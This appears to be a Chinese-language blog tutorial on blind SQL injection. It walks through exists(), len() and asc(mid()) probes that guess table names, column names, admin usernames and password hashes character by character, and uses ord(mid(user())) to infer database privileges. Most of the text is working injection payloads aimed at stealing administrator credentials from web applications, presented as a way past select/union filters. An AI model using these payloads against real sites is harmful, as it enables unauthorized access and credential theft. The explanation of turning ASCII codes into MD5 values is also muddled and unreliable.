/*By:珍惜少年时*/
逐字解码法,不一定非要猜字段内容。库名,表名,字段,data,都能猜。
环境过滤了select、union(mysql5.0以下的版本就不支持union所以也可以用此方法),你可以用这方法。exists只是其中一种,还有别的方法也能猜。
注:mysql不支持top函数,请使用limit函数
注入思路:
先把表跟字段猜解出来,猜解出来了.这个算是一个半猜解查询吧
00x1判断表是否存在
and exists (select * from admin) //猜解是否含有admin这个表
00x2判断字段是否存在
and exists (select username from admin) //猜解是否含有username这个字段
and exists (select password from admin) //猜解是否含有password这个字段
00x3字段长度的判断,判断了其长度更利于注入。比如判断了username的长度为五,那么极有可能是admin
username字段的判断:
and (select top 1 len(username) from admin)>5 //返回错误
and (select top 1 len(username) from admin)=5 //返回正确,说明username的单词长度为五个,很有可能是admin
password字段的判断:
and (select top 1 len(password) from admin)>16 //返回错误
and (select top 1 len(password) from admin)=16 //返回正确,说明password的单词长度为十六位的,很可能是经过md5加密的.
00x4[猜解管理员账号] //使用ASCII转换即可获得加密内容.
and(select top 1 asc(mid(username,1,1)) from admin)>97 错误
and(select top 1 asc(mid(username,1,1)) from admin)=97 正确 则说明只有第一位的ASCII码为九十七
and(select top 1 asc(mid(username,2,1)) from admin)=100 第二位也是同理.只不过mid函数里要修改以下部分内容
and(select top 1 asc(mid(username,3,1)) from admin)=109
and(select top 1 asc(mid(username,4,1)) from admin)=105
and(select top 1 asc(mid(username,5,1)) from admin)=110
00x5[猜解管理员密码]//与猜解账号方法大同小异
公式:and(select top 1 asc(mid(password,a,n)) from admin)>97 //注:a大于n大1,后面的数字是ascii。
and(select top 1 asc(mid(password,1,1)) from admin)>97
and(select top 1 asc(mid(password,1,1)) from admin)=97
and(select top 1 asc(mid(password,2,1)) from admin)=50
and(select top 1 asc(mid(password,3,1)) from admin)=36
......................................................
然后将97 50 36 等ascii码拿去解密。即可拿到真正的md5值
当然了你还可以用逐字解码法来弄更多的东西
比如我们来讲一下,逐字解码法来判断数据库权限;
在次我们要了解两个函数:
- Ord:该函数的作用是返回值字符串的第一个ASCII值
- Mid:用于得到函数的一部分,比如root里面的r
CODE区域:
and ord(mid(user(),1,1))=114/*
=》结合函数的意思来说,就是得到第一个字符的ascii值。如果等于114就返回正确。114的ASCII值是r